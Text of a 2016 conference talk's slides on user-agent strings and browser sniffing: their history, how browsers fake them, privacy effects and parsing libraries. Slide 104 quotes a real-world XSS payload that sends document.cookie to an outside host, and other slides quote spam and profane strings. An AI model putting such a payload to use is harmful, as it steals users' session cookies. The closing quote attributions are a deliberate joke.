Everybody Lies @ code.talks 2016

Slide 1

Slide 1 text

everybody lies Niels Leenheer 30/09/2016 Niels Leenheer

Slide 2

Slide 2 text

No content

Slide 3

Slide 3 text

No content

Slide 4

Slide 4 text

this talk is full of   lies and deception warning:

Slide 5

Slide 5 text

No content

Slide 6

Slide 6 text

this talk is about browser sniffing yes…

Slide 7

Slide 7 text

why?

Slide 8

Slide 8 text

browser sniffing is   dirty

Slide 9

Slide 9 text

you should use   feature detection

Slide 10

Slide 10 text

No content

Slide 11

Slide 11 text

Dear Web Developers:   Browser Sniffing is Stupid http:/ /www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/

Slide 12

Slide 12 text

5 Reasons Why   Browser Sniffing Stinks https:/ /www.sitepoint.com/why-browser-sniffing-stinks/

Slide 13

Slide 13 text

Browser Detection is Bad https:/ /css-tricks.com/browser-detection-is-bad/

Slide 14

Slide 14 text

No content

Slide 15

Slide 15 text

feature  detection responsive  design progressive  enhancement best-practices

Slide 16

Slide 16 text

anti-pattern browser sniffing

Slide 17

Slide 17 text

browser sniffing is just a tool

Slide 18

Slide 18 text

everybody uses   browser sniffing

Slide 19

Slide 19 text

No content

Slide 20

Slide 20 text

No content

Slide 21

Slide 21 text

is browser sniffing   actually? what…

Slide 22

Slide 22 text

the http specification defines the user-agent header     it contains a string with information about the browser

Slide 23

Slide 23 text

every request the browser makes to the server includes the user-agent header

Slide 24

Slide 24 text

Slide 25

Slide 25 text

GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net   HTTP/1.1 200 OK Date: Mon, 08 Feb 2016 10:40:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Thu, 15 Jan 2015 10:10:40 GMT ETag: "984-50cae11796432" Accept-Ranges: bytes Content-Length: 2436 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8  

Slide 26

Slide 26 text

you can access   the exact same string   using javascript

Slide 27

Slide 27 text

Slide 28

Slide 28 text

you can use the user-agent string to identify:    the browser  the rendering engine  the operating system  the device model  and more

Slide 29

Slide 29 text

No content

Slide 30

Slide 30 text

is browser sniffing   good for? what…

Slide 31

Slide 31 text

knowledge

Slide 32

Slide 32 text

if you know the platform or browser,   you can streamline the user experience

Slide 33

Slide 33 text

No content

Slide 34

Slide 34 text

if you know your users,   you can build a better site for them

Slide 35

Slide 35 text

if you know which browser is being   used, you can work around bugs

Slide 36

Slide 36 text

if you know which browser is causing errors, you can fix them

Slide 37

Slide 37 text

privacy implications

Slide 38

Slide 38 text

No content

Slide 39

Slide 39 text

No content

Slide 40

Slide 40 text

changing your user agent   string actually makes it   easier to track you

Slide 41

Slide 41 text

anonymity by looking   like everybody else

Slide 42

Slide 42 text

brave does not have a useragent string of its own

Slide 43

Slide 43 text

No content

Slide 44

Slide 44 text

No content

Slide 45

Slide 45 text

No content

Slide 46

Slide 46 text

is browser sniffing   so difficult? why…

Slide 47

Slide 47 text

things started out simple

Slide 48

Slide 48 text

Mosaic/0.9 The name of   the browser The version of  the browser Mosaic

Slide 49

Slide 49 text

Mozilla/1.0 (Win3.1) Netscape Navigator The code name of   the browser The version of  the browser Operating   system

Slide 50

Slide 50 text

but it quickly started   to get complicated

Slide 51

Slide 51 text

Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) Internet Explorer The name of   the browser The version of  the browser Operating   system Compatible with   Netscape Navigator 1.0

Slide 52

Slide 52 text

Opera/8.54 (Windows 95; U; en) Opera The name of   the browser The version of  the browser Operating   system United States   level encryption English   language

Slide 53

Slide 53 text

Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0 Opera Rendering   engine

Slide 54

Slide 54 text

Opera/9.8 (Windows NT 5.1; U; en) Presto/2.2.0 Version/10.00 Opera The name of   the browser Fake version of  the browser Real version of  the browser

Slide 55

Slide 55 text

Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1)   Gecko/20090624 Firefox/3.5 Firefox The name of   the browser Version of  the browser The name of   the rendering engine Version of  the rendering  engine Build date of  the rendering engine

Slide 56

Slide 56 text

Mozilla/5.0 (Windows NT 6.0; rv:2.0)   Gecko/20100101 Firefox/4.0 Firefox Build date is no longer  updated

Slide 57

Slide 57 text

Mozilla/5.0 (Windows NT 6.0; rv:16.0)   Gecko/16.0 Firefox/16.0 Firefox

Slide 58

Slide 58 text

and it gets worse…

Slide 59

Slide 59 text

Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en)  AppleWebKit/525.27.1 (KHTML, like Gecko)  Version/3.2.3 Safari/525.28.3 Safari The name of   the browser Version of  the browser

Slide 60

Slide 60 text

Mozilla/5.0 (Windows; U; Windows NT 6.0; en)  AppleWebKit/525.27.1 (KHTML, like Gecko)  Chrome/15.0.874.120 Safari/525.28.3 Chrome The name of   the browser Version of  the browser

Slide 61

Slide 61 text

Mozilla/5.0 (Windows NT 10.0; WOW64)   AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.180 Opera The name of   the browser Version of  the browser

Slide 62

Slide 62 text

Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Version of  the browser Internet Explorer

Slide 63

Slide 63 text

Mozilla/5.0 (Windows NT 10.0)  AppleWebKit/537.36 (KHTML, like Gecko)  Chrome/42.0.2311.135 Safari/525.28.3 Edge/12.10162 Edge The name of   the browser Version of  the browser

Slide 64

Slide 64 text

and those were all relatively normal user-agent strings

Slide 65

Slide 65 text

“User-Agent strings only get larger over time, never smaller” Niels’s law of User-Agent strings

Slide 66

Slide 66 text

sometimes browsers simply do not make sense at all

Slide 67

Slide 67 text

Mozilla/5.0 (Linux; Android 4.3; en; SAMSUNG GT-I9505 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/ 28.0.1500.94 Mobile Safari/537.36 Samsung Internet Version of the browser Samsung device

Slide 68

Slide 68 text

Mozilla/5.0 (Series40; NOKIALumia800;   Profile/MIDP-2.1 Configuration/CLDC-1.1)   Gecko/20100401 S40OviBrowser/1.8.0.50.5 Nokia Xpress for Windows Phone

Slide 69

Slide 69 text

Mozilla/5.0 (X11; Linux; ko-KR)   AppleWebKit/534.26+ (KHTML, like Gecko)   Version/5.0 Safari/534.26+ LG Netcast

Slide 70

Slide 70 text

sometimes browsers lie to   hide their true identity

Slide 71

Slide 71 text

Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50 Opera The name of   the browser Version of  the browser The name of the  operating system

Slide 72

Slide 72 text

Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50 Opera Mobile (desktop mode) The name of   the browser Version of  the browser ROT 13 encrypted  “mobi“

Slide 73

Slide 73 text

Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Internet Explorer Browser version

Slide 74

Slide 74 text

Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Internet Explorer (compatibility view) Trident 5 means it’s   Internet Explorer 9

Slide 75

Slide 75 text

browsers can change the   user-agent strings for   individual websites

Slide 76

Slide 76 text

No content

Slide 77

Slide 77 text

No content

Slide 78

Slide 78 text

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2;   Trident/6.0; ARM; Touch; WPDesktop; Lumia 535)  Mobile Internet Explorer 11 on Windows Phone 8.1 on html5test.com

Slide 79

Slide 79 text

Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0;   ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0;   Microsoft; Lumia 535) like iPhone OS 7_0_3 Mac OS X   AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537  Mobile Internet Explorer 11 on Windows Phone 8.1

Slide 80

Slide 80 text

No content

Slide 81

Slide 81 text

No content

Slide 82

Slide 82 text

No content

Slide 83

Slide 83 text

sometimes browsers   are just weird

Slide 84

Slide 84 text

No content

Slide 85

Slide 85 text

Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0)   Opera 7.02 Bork-edition [en]

Slide 86

Slide 86 text

Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0)   Opera 7.02 Bork-edition [en] Vehicle Center Console

Slide 87

Slide 87 text

Mozilla/4.0 (MobilePhone PLS6600KJ/US/1.0)   NetFront/3.1 MMP/2.0

Slide 88

Slide 88 text

Mozilla/4.08 (PDA; SL-C3000/1.0,Qtopia/1.5.2) NetFront/3.1 

Slide 89

Slide 89 text

Mozilla/5.0 (DTV; TVwithVideoPlayer) NetFront/4.1   AQUOSBrowser/1.0 InettvBrowser/2.2 (08001F;DTV06VSFC;0009;0001) 

Slide 90

Slide 90 text

Mozilla/5.0 (Standard; NF41SW/1.1; like Gecko; TASKalfa 406ci) NetFront/4.1 

Slide 91

Slide 91 text

Mozilla/4.0 (PSP (PlayStation Portable); 2.60)

Slide 92

Slide 92 text

Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2

Slide 93

Slide 93 text

Mozilla/5.0 (DAG; 1.4; like Gecko) NetFront/4.2  ?

Slide 94

Slide 94 text

Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0)   Opera 7.02 Bork-edition [en] Opera Bork-edition?

Slide 95

Slide 95 text

No content

Slide 96

Slide 96 text

No content

Slide 97

Slide 97 text

No content

Slide 98

Slide 98 text

BORK BORK BORK

Slide 99

Slide 99 text

No content

Slide 100

Slide 100 text

No content

Slide 101

Slide 101 text

No content

Slide 102

Slide 102 text

and it is possible to change the user-agent string yourself

Slide 103

Slide 103 text

  http://www.sexxlife.it/sexyshop (sexy shop - sexy toys, BDSM, vibratori, falli, vagine, lubrificanti, dvd porno, film hard, lingerie - Migliaia di articoli nel nostro sexy shop online.; http://www.sexxlife.it; info@sexxlife.it) spam

Slide 104

Slide 104 text

alert("My Little Pony”); document.location=   "http://www.max1094.18.lc/admin/cookies.php?c=" + document.cookie; My Little Pony”>
XSS attacks

Slide 105

Slide 105 text

XSS attacks

Slide 106

Slide 106 text

  (╯°□°）╯︵ ┻━┻    Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit)    Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1;   Microsoft; Surface Zune Phone XL)   AppleWebKit/537.36 (KHTML, like Gecko)  funny people

Slide 107

Slide 107 text

funny people

Slide 108

Slide 108 text

angry people

Slide 109

Slide 109 text

FuckZilla/666.0 (Gavnoid; Debile; rv:123.0)   FuckYou/123.0 FuckingFox/321.0    Opera/9.80 (Windows NT 6.1; U; FuckYou; xx)   Presto/2.10.229 Version/11.62    Seriously, Go fuck yourself    W3C standards are important.   Stop fucking obsessing over user-agent already. angry people

Slide 110

Slide 110 text

1.000.000  unique  useragent strings 82 x fuck 10 x shit 6 x ass 9 x dick 3 x vagina 108 x sex 4 x balls

Slide 111

Slide 111 text

user-agent strings   cannot be trusted!

Slide 112

Slide 112 text

everybody lies

Slide 113

Slide 113 text

use browser sniffing for controlling access to   your website you should never

Slide 114

Slide 114 text

you should never use browser sniffing for determining browser capabilities

Slide 115

Slide 115 text

you should never build your own   browser sniffing library 

Slide 116

Slide 116 text

No content

Slide 117

Slide 117 text

use a browser sniffing library that   is regularly updated #1

Slide 118

Slide 118 text

check if it is possible to automatically schedule updates #2

Slide 119

Slide 119 text

try libraries like  UAParser,   PiwikDeviceDetector   or WhichBrowser https:/ /github.com/ua-parser  https:/ /github.com/piwik/device-detector  https:/ /github.com/whichbrowser

Slide 120

Slide 120 text

https://github.com/ThaDaﬁnser/UserAgentParserComparison http://useragent.mkf.solutions

Slide 121

Slide 121 text

No content

Slide 122

Slide 122 text

“If you tell a big enough lie   and tell it frequently enough,   it will be believed” — Ghandi

Slide 123

Slide 123 text

“If you tell a big enough lie   and tell it frequently enough,   it will be believed” — Ghandi

Slide 124

Slide 124 text

— Adolf Hitler “If you tell a big enough lie   and tell it frequently enough,   it will be believed”